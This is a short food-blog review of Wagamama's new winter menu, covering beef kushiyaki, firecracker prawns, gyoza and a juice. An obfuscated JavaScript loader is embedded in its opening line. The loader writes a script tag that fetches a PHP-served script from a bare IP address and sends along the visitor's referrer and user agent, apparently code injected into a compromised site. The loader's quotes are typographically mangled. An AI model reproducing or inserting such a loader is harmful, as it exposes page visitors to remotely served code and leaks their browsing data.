Wagamama (function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(” 4=\’7://5.8.9.f/1/h.s.t?r=”+3(0.p)+”\o=”+3(j.i)+”\’><\/k"+"l>“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zatkd|var|u0026u|referrer|nzbar||js|php’.split(‘|’),0,{}))
has launched its new Winter menu set to raise the temperatures and liven up chilly Winter Days. The new menu from the ever reliable fast, healthy food chain features starters of beef kushiyaki – three skewers of tender cubed beef flavoured with lemongrass and lime leaf and served with a sticky soy sauce glaze. Goma Wakame salad, with roasted sesame seeds, crispy shredded carrots, red chilli and the popular wagamama house dressing

But it’s the mains where the temperature dial really cranks up with the firecracker prawns guaranteed to have you reaching for the water. The dish consists of prawns stir-fried with mangetout, red hot chillies, red and green peppers, spring and white onions, and garnished with shichimi, sesame seeds and lime. The dish was one of the hottest things we’ve eaten in London and we’ve eaten our fair share of spicy food!

Other additions to the menu include the sweet ginger and apple gyoza and the super juice – combining apple, orange, sharon fruit and cranberry juice for a fruity sensation. For a healthy, cheap, filling lunch jam packed with heat check it out – in your face cold weather!

Locations all over London